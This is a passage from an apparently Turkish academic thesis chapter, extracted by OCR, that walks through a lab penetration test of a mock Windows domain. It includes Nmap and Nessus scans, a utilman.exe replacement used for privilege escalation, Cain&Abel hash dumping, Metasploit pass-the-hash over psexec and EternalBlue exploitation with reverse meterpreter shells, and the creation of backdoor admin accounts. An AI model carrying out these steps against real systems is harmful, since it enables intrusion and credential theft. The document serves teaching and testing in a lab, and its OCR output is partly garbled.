gerceklestirir. Bilgi Toplama, Tarama, Numaralandirma, Somiirii ve Raporlama, En
Giincel Aciklar.

Mile2 nin MACS sistemi ile her zaman her yerden online olarak alinabilir,
derslere katilma zorunlulugu yoktur. CEH den bir kademe daha diisiik bir sertifika

olarak nitelendirilir.
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ALTINCI BOLUM

DENEYLER VE SONUCLAR

Bu boliimde anlatilacak olanlar yukaridaki boliimlerde anlatilmis olan materyal
ve yontemlerle sisteme sizma ve sistemi ele gegirmeye yonelik bir ¢alismadir. Sistem
icin kullanilan bilgisayarlarin timi sanallagtirma iinitesine kurulmus olup,
sanallagtirma yapmak i¢in 32gb ram bellege sahip 8 ¢ekirdekli ve Windows 10
Enterprise Isletim sistemine sahip bir bilgisayar kullanilmistir. Sanallastirma sistemine
6 adet bilgisayar kurulmustur. Ag yapilandirma kurallar1 dahilinde saldirici
bilgisayarindan sistem taramasi yapilmistir. Sistem taramasi sonrasinda istemci
bilgisayarlardan baslanarak sunuculara dogru ataklar yapilmaya ¢alisilmistir. Amag
etki alanit kontrolciisiinii ele gecirmeye c¢aligmaktir. Etki alam1 kontrolciisii ele
gecirildikten sonra senaryo icin olusturulmus olan kullanicilarin kullanici adi ve

parolalar ele gegirilmeye ¢alisilmistir.
1.1 Sizma Testinin Dagilim
1.1.1 Senaryo Aciklamasi

Senaryoda amag olarak, temsili kurumsal bir yapi igerisinde sizma testi
yapilacak ve bu test sonrasinda olusturulacak raporun kuruma teslim edilmesiyle
kurumun kendi zayif yonlerini gorerek kural tanimayan saldirganlara karsi dnlemler
almasini saglanmasi1 hedeflenmektedir.

Senaryomuzda kurum sistem igerisinde sunucular, istemciler, kenar cihazlari,
web uygulamalari ve ¢alisan zafiyetleri iizerine saldirilar yapilacaktir.

Kurumsal yapiy1 anlatmak admna, temsili kurumun adi “Example’dir.
Example’a yapilacak sizma testinde temsili kurum topolojisi Sekil 6.1°de
gosterilmistir fakat test yapacak kisiler tarafindan bu bilgi bilinmemektedir. Amag testi

gergeklestirirken bilgi toplama asamasinda topolojiyi ¢oziimlemek ve yiiriitiilecek
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islemleri bilgi toplama asamasinin ardindan planlamaktir. Example temsili
kurumundan test islemleri i¢in bir adet example.com etki alanina dahil edilmis son
kullanic1 bilgisayar1 da sizma test ekibine verilmistir. Buradaki amag standart bir
kurum c¢alisan1 olarak baslayan bir kisinin kendi yetkilerini ne kadar hak yiikseltmesi

yaptyor sorusunun cevabini bulmaktir.
1.1.2 Miisteri Tarafindan Saglanan Bilgiler

Example temsili kurumundan test kapsaminda bazi bilgiler istenilmektedir.
Yapilacak test tamamen kuruma fayda saglamak adina oldugundan zarar verecek
islemlerin tamamindan kaginilacaktir. Temsili kuruma yapilacak sizma testi
kapsaminda asagidaki alanlardan hangilerinin yapilacagi bilgisini miisteri kurum
tarafindan istenilmektedir. Bu bilgileri istemenin amaci “White box” saldir1 tipi oldugu
i¢indir.

Dis ag testleri: Kurum disindan yapilan kurumun disariya acik olan sunucularina
kars1 gerceklestirilen saldirilar. Ornek Web sayfasi, DNS, IPS, IDS, Firewall

I¢ ag testleri: Kurum igerisindeki aga baglanarak kurum iginden bir kullanici gibi
davranip yapilabilecek saldir1 tiirleridir.

Web uygulamalari: Yalnizca kurum igine agik olan web uygulamalarina (Ornek
Elektronik Belge Yonetim Sistemi, Kurumsal Kaynak Planlama vs.) ve kurum digina
acik olan web uygulamalarina yapilan saldir tiirleridir.

Kablosuz ag testleri: Kurumdan veya kuruma yakin bolgelerden wi-fi
adaptorlerle yapilan saldir tiirleridir.

Sunucular: Kurumun sunucularindaki yapilandirma hatalarindan ya da bilinen
acikliklardan yararlanilarak yapilan saldirt tiirleridir.

Aktif cihazlar: Kurumun giivenlik duvari, ips/ids, kenar switch, omurga switch
vb. gibi ag cihazlarindaki yapilandirma hatalarindan ya da agikliklardan yararlanilarak
yapilan saldirt tiirleridir.

Uygulamalar: Kurumda hizmet veren uygulamalar ve uygulamalarinin
kullandig1 yardimci programlar (java,.net vs) lizerinden gidilerek yapilan saldiri
tiirleridir.

Sosyal miihendislik: Kurum ¢alisanlarina yonelik sahte e-mail, telefonla arama
veya taginabilir cihazlar ile kullanicilardan bilgi toplamayarak saldirma tiirtidiir.

Kurumlarda yapilan sizma testleri kapsaminda sosyal miihendislikten saglanan
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verilerden testin diger adimlarina katki saglamamaktadir. ”White box™ saldiri
senaryolarinda kullanicilarin insani zafiyetleri genellikle kullanilmamaktadir. Bu adim
genel olarak en son uygulanan saldir tiiriidiir. Alinan bilgiler ve bilgilerin alindig
kisiler asla paylasilmaz. Sadece yiizde olarak oranlama degerlendirmesi yapilir.

DDoS: Kurumun disariya hizmet veren web sunucunu internet iizerinden gelen
istekleri cevaplayamaz hale getirecek yiiksek band genislikli saldirt tipidir.

Fiziksel Giivenlik: Kurumun bilgi sistemlerinin kablolama ve sistem odasinin
fiziksel glivenligini test etmek amaghdir.

Etki Alan1 ve Son Kullanict Bilgisayar Testler: Kurumda etki alanina dahil
olmus bilgisayarlarin icerisinde kurumsal ve kisisel kritik bilgilerin varligina yonelik
saldir tiirtidiir.

Istenilen bilgiler genel olarak,

1. Kag adet sunucu ve istemci ilizerinde s1izma testi yapilacak

2. Hangi ag iizerinde s1zma testi islemleri yapilacak

3. Hangi web uygulamalarina sizma testi yapilacak

4. Hangi kullanicilara yonelik sosyal miihendislik testi yapilacak

5

Kritik sunucu veya sistem var mi1? Varsa ip bilgileri istenilecektir.

/ \
| Windows Server 2012R2

[ 10.10.10:15 Windows Server 2016
DC \ 10.10.10.16
example.co}p 172.16.1.16

lISserver

example.com

Kali Linux . \\
10.10.10.13 / ~—_ N
Beyaz Sapkall / T~ ‘\
Saldirgan / T~ \
(= L L
‘ ~ P — —P— > c— —
Windows 10 Windows 7 Windows 7
10.10.10.21 10.10.10.22 10.10.10.23
IstemciO1 Istemci02 172.16.1.23
example.com example.com Istemci03

example.com
< »  Agerisim yéni

Sekil 6.1: Ornek senaryo sizma testi.
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Sizma testinin senaryosunun VMWare Workstation kullanarak 32 GB bellege

sahip, 17vPro islemcili bir host kullanilacaktir.

o
File Edit View VM Tabs Help [ =

Librery Szma_Test_Lab, D_C WinSrvi2 MemberServer01_WinSrv16 Istemci01_Win10 Istemci03_Win732 Istemci02_Win7 Pentest-Kali-2017

v

W \y Computer Sizma_Test_Lab.

=l 271 Sizma_Test_Lab.
D_C_WinSrv12
MemberServer01_Win
Istemci01_Win10
Istemci02_Win7
Istemci03_Win7x32
Pentest-Kali-2017 Istemci03.

D_C_WinSrv12
Isten

Istemci02_Win7

OwaspSecurityShephet MemberServer01_WinSrv16
Shared VMs OwaspSecurityShepherdVm_V3.0
Pentest-Kali-2017

Sekil 6.2: Deney ortaminin “Vmware” sanallagtirma iinitesinde kurulumu.

Deney Ortami:

Kali Linux isletim sistemi kullanicisi (beyaz sapkali saldirgan) sadece 3 adet
Windows isletim sistemine sahip bilgisayarlara erisim yapabilmektedir. Erisim
yapabildigi istemciler 10.10.10.21, 10.10.10.22, 10.10.10.23 makineli ipler, Windows
10 yani istemci01 makinesi kurum tarafindan sizma testi yapacak ekibe verilmis olan
example.com domainine ait bir son kullanici bilgisayaridir. Windows 10 makinesinesin
test ekibine verilmesindeki amag¢ yetkisiz bir kullanicinin etki alaninda neler
yapabileceginin testidir.

Saldirgan bilgisayarindan etki alani kontrolclisii(DC) ve IISserver’a erigim
olmadigindan, etki alaninda “yetkisiz” kullanicisinit en yetkin kullanici yani “domain
admin” yapmak adina diger istemcilerden “pivoting” yapmasi gerekecektir.

Son olarak etki alani kontrolciisiinii ele ge¢irip senaryo basarili bir sekilde

tamamlamak hedeflenmektedir.

1.1.3 Bilgi Toplama

Bilgi toplama asamasinda temsili kurumun yapisina yonelik ag haritasi
cikartilmaktadir. Bilgi toplama asamasi her bir alan ic¢in ayr1 ayr1 ve aym1 zamanda
baslatilmaktadir, bilgi toplama asamasi, siirece her zaman i¢in etki etmekte yani “post
exploitation” olarak siirecin her noktasindadir. Yeni bulunan bilgilerle bir 6nceki

asamaya donmek hatta ve hatta baslangi¢ asamasina donmek siklikla olabilmektedir.
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Genel yap1 olarak sizma testini yasam dongiisiinii su sekilde gosterilir:

Kesif > Detaylandirma > Ac¢iklik Taramasi > Somiirme > SOmiirli Sonras1 Bilgi

Toplama > Raporlama

Temsili kurumsal agda bilgi toplamak adina Kali Linux makinesinden “Nmap”

aractyla tarama baglatilmistir ve sonuglar “Zenmap” araciyla goriintiilenmistir.

File Edit

root@kali; ~/Desktop/Deney_Ortami_Nmap_Taramas

View Search Terminal Help

top-ports 150 -vv --open 10.10.10.20-23 -oA istemci Taramalari

packet y had rtt of -200109 micr s. TIgnoring time.
packet y d r of -200 r ds Ignoring time.

4 1 Home

Desktop

Deney_Ortami_Nmap_Taramasi

554/tcp o O Recent
ort 445/tcp on 10. </
open port 445/t 0 .
Sl [ 135:‘tE|F:: ::z o Home istemci_ istemei_
3 : Taramalari.  Taramalari|
135/tcp g _
ort 445/tcp 0. 3 &= Desktop gnmap nmap
Zenmap |
Scan Tools Profile Help [ 3 |
Target: |10.10.10.20-23 Profile: v
Command: |nmap -sS -sV -O -v -v -0A istemci_Taramalari --open --top-ports 150 10.10.10.20-23
Services Nmap Output | Ports / Hosts | Topology | Host Details | Scans
= DBogt  Protocal tate v Sen rsion
Ho v
# 10101021 @ 135 tcp open msrpc Microsoft Windows RPC
O  10.10.10.22 @ 139 tcp open netbios-ssn Microsoft Windows netbios-ssn
O 10.10.10.23 @ 445 tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: EXAMPLE)

Scan

@ e

Sekil 6.3: “Nmap” tarama sonucunda alinan bilgilerin “Zenmap” araciyla goriintiilenmesi.

1- Nmap taramasinda 10.10.10.20-23 araligindaki bilgisayarlarin

“_SS 3

parametresiyle syn tespiti, “—~O ” parametresiyle isletim sistemi tespiti, “—SV”

ile servis siirtim tespiti, “—top-ports ” parametresiyle taranmasini istenilen “en

¢ok kullanilan 150 portun tespiti, “—open” parametresiyle agik olan portlarin

tespiti ve “—0A” parametresiyle ¢ikt1 alinacak formatlarla birlikte ¢ikt: ismi

yazilarak Nmap taramasini baglatilir.

2- “—0A” parametresi sonucu yazdigimiz “XML” uzantili Nmap taramasidir.

3- Zenmap aracinin arayiiziinii gsterir numara.

4- tarama sonrasinda Zenmap kullanarak nmap taramasmin gorsel olarak

izlenmesidir.
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1.1.3.1 Testin baslamasi

1.1.3.1.1 Ag kesfi

Kesif tiirii olarak pasif ve aktif kesif olarak ikiye ayrilan ag kesfi, pasif kesifte
ag altyapisina ve testi yapilacak olan sistemlere paket gondermeden ag trafiginin
dinlenme islemidir. Ag trafigini dinlerken ¢ogunlukla Tcpdump ve Wireshark
araglarinin kullanilmaktadir, arp tablosuna bakmaktaki amag ise ayni alt agda bulunan
sunucularin IP-MAC adres bilgilerini elde etmektir. Aktif kesif yaparken sistemler
lizerine paket gonderileceginden dolay1 sistemler ilizerinde kayitlar olusacaktir. Bu
saldir tiirtinde siklikla kullanilan araglar Nmap, Hping, Scapy, Ping, Tracert vb.’dir.

Aktif tarama araglarindan nmap ile ag taramasi, istenilen parametreler girilerek
baglatilir. Tarama sonrasi ¢ikan IP’ler Nessus aracina zafiyet tespiti yapilmak {izere

verilir.

1.1.3.1.2 Etki alam

Etki alan1 sizma testinde kesif ve zafiyet taramasi boliimiinde elde edilen nmap

ve nessus ¢iktilarindan yararlanarak somiirme islemleri yapilmaktadir.

© Nessus Professional /.. x | #

€ 0a o
[MOffensive Security "\ Kall Linux @ Kali Docs \ Kali Tools WAlrcrack-ng @ Kali Forums @ NetHunter fiMost Visited v KN Exploit-DB WAircrack-ng @ Nessus Professional [ Metasploit - Projects
or or with your feed. Click here o view your license Informat;

Scan Templates

Scanner

e ' ' - \ Q

Advanced Scan Audit Cloud Infrastructure Badlock Detoction Bash Shellshock Detection Basic Network Scan Crodentialed Patch Audit DDROWN Detoction

MoM cmum Mobile Bevlcosc:n\ Offline Config Audit

Host Discovery Intel AMT Security Bypass Internal PC1 Network Scan Malware Scan

=\ E . & @ ]
PCI Quarterty External Scan SCAP and OVAL Auditing Shadow Brokers Scan WannaCry Ran:

Policy Compliance Auditing Spectre and Meitdown

Sekil 6.4: “Nessus” zafiyet tarama araci yeni tarama arayUzii.
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/ Nessus Professional /.. % | &

¢ |[Q search

-8c1d-cefb-ef8c

€ ) @ @& | https://127.0.0.1:

IOffensive Security " Kali Linux @ Kali Docs " Kali Tools W Aircrack-ng @ Kali Forums @ NetHunter (iMost Visited v KBExploit-DB W Aircrack-ng @ Nessus Professional ) Metasploit - Projects

O There's an error with your feed. Click here to view your license information

Scans Settings

New Scan / Advanced Scan

< Back to Scan Templates

i My Scans
il All Scans
L Settings | Credentials | | Compliance |
i Trash
BASIC v
Name istemci_zafiyet_taramalari
General
Policies
. Schedule -
Plugin Rules Description Deneysel ortam igin olusturulmus istemci
® SenEe Notifications zafiyet taramas|
DISCOVERY
ASSESSMENT Folder My Scans -
REPORT
ADVANCED Targets 10.10.10.20-23 |
Upload Targets Add File

- Cancel

Sekil 6.5: “Nessus” zafiyet tarama arac1 deneysel ortam istemcilerin taranmasi.

istemci_zafiyet_taramalari ]

< Back to My Scans

B My Scans
[} fE=p Hosts 3 Vulnerabiliies 38 Notes 1 History 1
i Trash

Filter

Scan Details

© Policies Host Vulnerabilties % Mame: istemei_zafiyet taramalari
B Piugi Rules Status: Running
) 10101022 " ooy Advanced Soan
& Scanners

Scanner: Local Scanner

001021

Vulnerabilities

. High
- Madium

Low

Critical

Info

Sekil 6.6: “Nessus” zafiyet taramasinda tespit edilen agikliklarin “IP” bazli gdsterimi.
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Nessus Q)

istemci_zafiyet_taramalar (

< Back to My Scans

B My Scans
All Scans
. Hosts 3 Vulnerabilities 38 Notes 1 Histary 1
fii Trash
Filler =
Scan Details
Q Policies Sev Name Family Count Name: istemci_zafiyet_taramalari
Plugin Rules Status: Running
@ Pug MS11-030: Vulnerability in DNS Resolution Could Allow Remote Code ... | | Windows 2
G s Policy Advanced Sean
canners
- Scanner. Local Scanner
CRITIC 7-010: Update for Mic y
MS17-010: Security Update for Microsoft Windows SMB Server (40133... | | Windows 2 st Today al 255 P
Eudora WarldMail Mail Management Server (MAILIMA exe) Remote Ov. Windows 1
Vulnerabilities
Eudora Warldhail Unsupported Misc 1
. ® Critical
High
SMB Signing Disabled Misc. 3 o Medium
® Low
MS16-047: Security Update for SAM and LSAD Remote Protocols (314...  Windows 2 ® Il
POP3 Cleartext Logins Permitted Mise 1
[0 SMTP Service Cleartext Login Permitted SMITP problems 1

Sekil 6.7: “Nessus” zafiyet taramasinda tespit edilen tiim agikliklar.

Etki alanin kesfi konusunda yapilan ilk adim, temsili kurum tarafindan test
ekibine teslim edilen “etki alani iiyesi olan” “son kullanict bilgisayari™’yla ve etki
alaninda oturum agabilen bir “etki alam1 kullanicisi”’yla (yetkisiz) verilmis olan
bilgisayar1 kesfetmektir. Yapilabilecek en temel islemler, teslim alinan bilgisayarin
BIOS korumast olup olmadig1 saptamak, etki alaninda yetkisiz kullaniciyla oturum
acildiginda bilgisayar tizerinde hangi yetkinlikle islemler yapilabildigi test etmek, etki
alanm1 kullanicisin1 sinirlayan antiviriis, firewall, kullanici erisim kontrolii vb.
ozelliklerin bilgisayardan kaldirilip kaldirilamayacagini test etmekti. Senaryoda
belirtilen Windows 10 makinesi “yetkisiz” etki alan1 kullanicisiyla teslim edilmis ve
Sekil 6.8’deki bilgiler toplanmistir.

Sekil 6.8’de sol taraftaki ekran alintisinda etki alani kullanicisinin girigini ve
“utilman.exe”’nin dogru ¢alistig1 gdsterilmis, sag taraftaki ekran alintisinda ise oturum
agmis etki alan1 kullanicisinin komut satirindan “net user” komutu ile kullanicilarin
yetkinlikleri hakkinda bilgi toplamasi yaptigi gosterilmistir. Elde edilen bilgiler
kapsaminda “yetkisiz” kullanicis1 etki alaninda ve yerel bilgisayarda standart bir
kullanici oldugu, “admin” kullanicisinin ise yerel bilgisayarda “Administrators”
grubuna iiye “yerel yetkili” oldugu tespit edilmistir.

Bu asamadan sonra Sekil 6.9’da gosterildigi gibi bilgisayar windows10 igletim
sistemi olan bir “cd” ile “boot” edip soldaki ekran alintisinda yer alan 3 nolu sayinin
belirttigi “utilman.exe”’yi “cmd.exe” olarak degistirerek bilgisayara bir yerel yetkili
kullanict ekleyip ve etki alaninda verilmis olan “yetkisiz” kullanicinin yetki

yiikseltmesini yaparak “Administrators” grubuna liye yapmaktir.
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Other user

Choose anoption ~ © Advanced options
& Windows ! . System Restore . Command Prompt
L \se 3 esiore ot recorded on your 5o the Command Promgz for
Kt oo constradeboig
Troubleshoot System Image Go back tothe
e your P or e adorced s Recovery previous build
e Wedows g1 ok
pusiony
Tum off your PC Startup Repir
I Bty
ndrg

AN

yetkisiz

L (CINO)

Sekil 6.9: Bilgisayarin ele gecirilme iglem basamaklari.
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1) Boot edilen bilgisayarda Windows yiikleme ekrani, next tusuyla gecilir

2) Repair your computer secenegine tiklanir

3) Troubleshoot se¢enegi segilir

4) Command Prompt ile 5 nolu ekran alintisindaki cmd.exe ekrani agilir, bu
ekrana alintidaki komutlar1 girdikten sonra bilgisayar1 yeniden baslatilir ve 6 nolu
“utilman.exe”’ye tiklanir, tiklama sonrast 7 nolu komut satir1 agilmis olacaktir. Bu
komut satir1 Windows’ta sistem haklariyla ¢alisan bir komut satir1 oldugu igin ilgili
bilgisayarda komut satirin1 kullanarak tiim islemleri yapilabilir. Ekran alintisinda
“test” kullanic1 yerel kullanici olarak eklenmis ve daha sonra “Administrators”
grubuna tiye yapilmistir. Etki alan1 kullanicist “yetkisiz” de bilgisayarin yerel yetkili
kullanici grubuna eklenmistir. 8 nolu alanda anlatilan ise “yetkisiz” kullaniciyla
oturum actiktan sonra calistirilan bu bilgisayarda yetkili kullanicilar kim sorusuna
cevap veren komuttur. Donen cevapta admin, examplelyetkisiz, example\domain
admins, test kullanicilar ilgili makinenin yerel yetkili kullanicilaridir.

Yukaridaki asama sonrasinda etki alanin1 daha net gérmek adina Windows’un
isletim sistemlerinde kullanilmak tizere Microsoft’un resmin olarak yaymladigi RSAT
(Remote Server Administration Tool) [91] indirilerek kurulum yapilir. Kurulum
sonrasinda example.com kurumunun tiim etki alani yapis1 ve daha fazlasi bilgi

toplamak adina sistemde kurulu olacaktir.

| il 2 Sy tnd ey 3 Mo Jook 1 2 _

M > ContolPael » Programs > Programs and Features vl s Name 3

File Acion View Help
e ol M5 AR S

08 Com| Name

i Windows Features - 0 X 0o 'imm—‘;m-\;p-ggeq?; A ¢

Turn Windows features on or off 0 | Genedl Memd=s NemberOf Mensged By

s : Merosrs
To tum a feature on, select its check box. To tum a feature off, clear s check
Name Actve Drectry Doman Services Folder
[ Jrimritrater  example com/Usens:

Domanigen  exarpie com Vetakudanoar
L et exale con/ Vel driciar

2] Domain Controliers
ForegrecurtPrincips

1R Group Posicy Creat.
BiGuest
R Protected Users

FHRRERIEREIEIEITC

o Rrasand
Read-on 2

oK Cancel &, | oo Sarc i e
— ; R 5chems dins Corce

Sekil 6.10: “RSAT” yiiklendikten sonra agilan servisleri ve etki alan1 bilgi toplama iglemini gosterir
ekran alintist.

Sekil 6.10°da gosterildigi lizere etki alan1 kontrolciisiinde yonetim i¢in var olan

“Administrative Tools” Windows 10 bilgisayarinda da bilgi toplamak amagl
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kurulmus ve kullanima hazirdir. Oncelikli toplanacak bilgiler arasinda kritik sunucu
bilgisayarlarinin adlar1 ve ip’leri, yetkili kullanicilar ve kullanici gruplari, grup politika
yapilandirmalaridir.

BIOS korumasi atlatilamayan bilgisayarlarda kullanicin yetki yiikseltmesi
yapilmadan da etki alanindan bilgi toplamas1 miimkiindiir. RSAT‘in katmis oldugu tek
sey gorsel arayiiz ve kullanim kolayligidir. RSAT ta yapilabilen tiim sorgular1 komut
satirindan da yapmak miimkiindiir. Komut satirinin disinda Microsoft’un resmi

yazilimi olan “AD Explorer” [92] araciyla da bilgi toplama islemi yapilabilmektedir.

Sekil 6.11: “AD Explorer” aracinin araytizii.

Kesif islemini yukaridaki islemleri yaptiktan sonra detaylandirmak saldirganin
yeteneklerine baglidir. Yetki ylikseltmesi yapilan bilgisayarda zararli yazilim
calistirmak ve bilgisayarin igerisinden veriler alarak ne kadar yetki yiikseltilebilecegini
anlamak, sistemdeki diger bilgisayarlara hangi yontemlerle atlayabileceginin
sorularin1 aramak adina oncelikle antiviriis programi devre dist birakilir. Antiviriis
programi kapatildiktan sonra bilgisayarin “dump’’mi1 alabilen “cain&abel” [93]
programini kurup, bilgisayardaki kullanicilarin parola &zetlerini alinir. Bu parola
Ozetlerini Kali Linux makinesinde metasploit‘in “smb_login” modiiliine vererek ag

tizerinde baska hangi bilgisayarlara erisim yaptigin1 bulunur.
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HH Cisco PIX-MD5 H: Rainbo e N
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% CRAM-MDS Hash ActiveSync »
+p OSPF-MD5 Hashe
> RIPv2-MDS Hashe Select Al
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md MD2 Hashes (0)
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md MD5 Hashes (0)

Test password
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WA SHA-1 Hashes (0) .

A SHA-2 Hashes (0) Remove Machine Accounts

R RIPEMD-160 Hast Remove All

{53 Kerb5 Prefuth Ha
8, Radius Shared-Ke
Sekil 6.12: “Cain&Abel” aracinin ¢alistirilmasi sonrasi elde edilen parola dzeti.

st auxitiary( ) > set rhosts 10.10.10.20-23
10.10.10.20-23
i ( ) > set smbdomain .

st auxiliary( ) > set smbuser admin

imbuser => admin
f auxiliary( ) > set smbpass AAD3B435B51404EEAAD3B435B51404EE:7D65D4663E21BF38FDESE98A5C21CD50
bpass => AAD3B435B51404EEAAD3B435B51404EE:7D65D4663E21BF38FDESBE98A5C21CD50
f auxiliary( ) > exploit

*] 10.10.10.20:445 - 10.10.160. - Starting SMB login bruteforce
] 10.10.10.20:445 - 10.10.10.20:445 - This system does not accept authentication with any credentials, proceeding with brute force
10.10.10.20:445 - 10.10.10.20:445 - Could not connect
10.10.10.20:445 - No active DB -- Credential data will not be saved!
1 Scanned 1 of 4 hosts (25’ complete)
] 10.10.10.21:445 10.10.10.21:445 - Starting SMB login bruteforce
-445 - 10.10.10.21:445 - This system does not accept authentication with any credentials, proceeding with brute force
:445 - 10.10.10.21:445 - Success: '.\admin:AAD3B435B51404EEAAD3B435B51404EE: 7D65D4663E21BF38FDEBE98A5C21CD50"
1445 - 10.10.10.21:445 - Domain is ignored for user admin
- No active DB -- Credential data will not be saved!

! - 2
+] Scanned 2 of 4 hosts (50% complete)
22 10.10.10 4 = Starting SMB login bruteforce

10 22 445 - Domain 1s :Lgnored for user admin

! 45 - No active DB -- Credential data will not be saved!

*] Scanned 3 of 4 hosts (75% complete)

*] 10.10.10.23:445 - 10.10.10.23:445 - Starting SMB login bruteforce

] 10.10.10.23:445 - 10.10.10.23:445 - This system does not accept authentication with any credentials, proceeding with brute force
10.10.10.23:445 - 10.10.10.23:445 - Correct credentials, but unable to login: '.\admin:AAD3B435B51404EEAAD3B435B51404EE:7D65D4663E21BF38F
10.10.10.23:445 - No active DB -- Credential data will not be saved!

*] Scanned 4 of 4 hosts (100% complete)

*] Auxiliary module execution completed
auxiliary( ) >

Sekil 6.13: “Metasploit” “smb_login” modiiliiyle kullanicinin erigim yapabildigi diger bilgisayarlarin
tespiti.

Metasploit smb_login kesif modiilii sonrasinda 2 adet bilgisayarda “admin”
kullanicisinin parola 6zet degeriyle oturum agabildigi gézlemlenmistir. 10.10.10.21
bilgisayar1 bizim elimizdeki Windows10, 10.10.10.22 bilgisayarin1 bu kullaniciy1
kullanarak ele ge¢irmeye calisilacaktir. Bu islem icin elde parola 6zeti oldugundan
dolay1 “pass the hash” saldiris1 yaparak 10.10.10.22 makinesinin komut satirina veya
meterpreter ara katmanina erisim yapma denenecektir. “Pass the hash” saldirisini
Microsoft’'un resmi yazilimi psexec.exe [94] araciyla yapilirsa cmd.exe’ye
metasploitin psexec modiiliiyle yapilirsa meterpreter katmanina girilir. Metasploit’in

psexec modiilii antiviriis tarafindan engellenecegini unutulmamalidir.
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msf exploit( ) > set smbuser admin

smbuser => admin

msf exploit( ) > set smbpass AAD3B435B51404EEAAD3B435B51404EE:7D65D4663E21BF38FDESBE98ASC21CD50
smbpass => AAD3B435B51404EEAAD3B435B51404EE: 7D65D4663E21BF38FDESBE98AS5C21CD50

msf exploit( ) > set rhost 10.10.10.22

rhost => 10.10.10.22

msf ‘exploit( ) > exnloit

Started reverse TCP handler on 10.160.10.19:4444

10.10.10.22:445 - Connecting to the server...

10.10.10.22:445 - Authenticating to 10.10.10.22:445 as user 'admin'...

10.10.10.22:445 - Selecting PowerShell target

10.10.10.22:445 - Executing the payload...

10.10.10.22:445 - Service start timed out, OK if running a command or non-service executable...
Sending stage (179779 bytes) to 10.10.10.22

Meterpreter session 3 opened (10.10.10.19:4444 -> 10.10.10.22:49229) at 2018-05-17 01:55:56 +0300

meterpreter > getuid

Server usernaie: NT AUTHORITY\SYSTEM

meterpreter > shell

Process 3500 created.

Channel 1 created.

Microsoft Windows [S&r@m 6.1.7601]

Telif Hakk® (c) 2009 Microsoft Corporation. T@m haklar® sakl@dér.

indows\system32>c:
cF

C:\Windows\system32>cd c:\Users\admin\Desktop
cd c:\Users\admin\Desktop

c:\Users\admin\Desktop>dir

dir

C sBr@chsbndeki birimin etiketi yok.
Birim Seri Numaras@: 1CFA-2E37

c:\Users\admin\Desktop dizini

.2018 553 <DIR>
<DIR> o
8.219.956 cain_abel.rar
Example Topoloji.txt
Fotograflar.txt
Kimlik Bilgileri.txt
Masabst® kay®tl® @ifreler.txt
%aldfan Profilleri.txt
Gifreler
6 Dosya 8.219.956 bayt
3 Dizin 53.414.088.704 bayt bo®

c:\Users\admin\Desktop>hostname
hostname
istemci®2

c:\Users\admin\Desktop::net user Istemci®2Hacked Aal23456 /add
net user Istemci@2Hacked Aal23456 /add
Komut ba@ar@iyla tamamland$.

c:\Users\admin\Desktop::net localgroup "Administrators" Istemci02Hacked /add
net localgroup "Administrators™ Istemci®2Hacked /add
Komut ba®ar@yla tamamland®.

c:\Users\admin\Desktop>

Sekil 6.14: “Meterpreter” katman oturumu agma.

Sekil 6.14’de Metasploit psexec ile ilgili parametreler girildikten sonra
meterpreter oturumu elde edilmistir. “shell” komutuyla yeni bir kullanict agilmis ve
bilgisayarin yerel yonetici grubuna iiye olarak eklenmistir. Ayrica bilgisayarda kesif
taramast sonucunda sifre vb. yazan dosyalarda bulunmustur. Meterpreter ara
katmanina erisim yaptiktan sonra bir¢ok kesif araci da galistirilabilir. Bu kesif araglari
daha Onceki meterpreter ara katmani konusunda anlatilmistir. Bilgisayar ele
gecirildikten sonra tiim kesif agamalar1 bu bilgisayar i¢inde kullanilip siire¢ devam

ettirilmelidir. Deney ortaminda bu bilgisayar icin bagka bir kesif maddesi

116



olmadigindan agdaki diger bilgisayarlara erismeye ve kesif yapmaya devam

edilecektir.

Nessus ¢iktisina doniiliirse sistemde 10.10.10.23 ip’li bilgisayarda MS-17_10

acikligini bulunmustu, bu agiklig kullanarak sisteme sizma islemi yapilacaktir. Sizma

islemi basarili oldugu zaman bilgisayardan bilgi toplama siireci tekrar edecektir.

Oncelikle Kali Linux’te terminali agarak “msfconsole” yazip metasploit framework’e

girilir. Buradan “exploit\windows\smb\ms17_010_eternalblue” i ¢agirip islem yapmak

i¢in enter’a basilir. Normalde ms17_010_eternalblue exploit’i payload olarak “shell”

kullanmaktadir. Bu exploit ile kullanilabilen payloadlar “show payload” komutuyla

goriintiilenmektedir. Meterpreter oturumuna diismek i¢in meterpreter baglantili bir

payload kullanilacaktir.

) > show payloads

cription

11_bind_tcp M Bind TCP Inline
11 e TCP Inline

ib

r/bind_tcp
bind_tcp_uuid
r/reverse_http
https

Bind TCP

tep uuid
named_pipe
tep

tep_uuid

tep
tcp_uuid

tcp
Jvncinject/bind_tcp_uuid - r Injection),
/vncinject _http i 4 r e i Injection),
“https )
Jvncinject/r _tep
Jvncinject e _tcp_rc4
/vncinject/r - tcp uuid
/vncinject _winhttp
Juncinject inhttps

Sekil 6.15: "Exploit” i¢in “Payload” se¢imi.

6 Bind TCP S
Bind TCP §

Bind Named Pi
Bind TCP st

(RC4 s
with U
e HTTP

.
Encryption,
support (Windo

Wind HTTPS

tai
UID

5

St

St

Uygun payload segilir ve “set payload” komutuyla payload girilir. Payload ve

exploit icin gereken parametreler verildikten sonra “exploit” komutuyla zafiyet

sOmiirme islemi baslatilir.
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( ) > set payload windows/xb4/meterpreter/reverse_
windows/x64/meterpreter/reverse_tcp
) > show options

Module options (exploit/windows/smb/msl7 @1@ eternalblue):

Name

1
5
3
s

poolsv.exe
445

(Optional) The passwo
(Optional) The

Check if

Check if

Name Current S

EXITFUNC thread ? ique e '', seh, thread, process, none)
LHOST e = 55
LPORT 4444 The listen port

Exploit target:
Id Name

Windows 7 and Server 2008 R2 (x64) All Service Packs

exploit( ) = set rhost 10.10.10.23
0.10.23
= set processname lsass.exe
> lsass.exe
>|/set lhost 10.10.10.19
0.10.19
> exploit

4
loitation
«plo. .

ed by SMB reply

77 73 20 37 20 55 6¢ 74 69 6d 61 Windows 7 Ultima
0 30 te 7600
for arch indicated by DCE/RPC reply

Allocat ]

- Receivi
- ETERNALB

Sekil 6.16: “Exploit” ve “Payload” parametrelerinin girilmesi.

Basarili bir sekilde somiiriilmiis zafiyet, yiiklenen payload sayesinde meterpreter
katmanina diislilmesini saglamistir. Bu asamadan sonra erisim yapilan bilgisayarda
bilgi toplamas1 yapilmasi gerekmektedir. Meterpreter oturumuna diisiildiigii i¢in “load
incognito” komutuyla “incognito” modillerini “load mimikatz” komutuyla
“mimikatz” modillerini kullanarak bilgisayardan veri toplanir. “incognito”
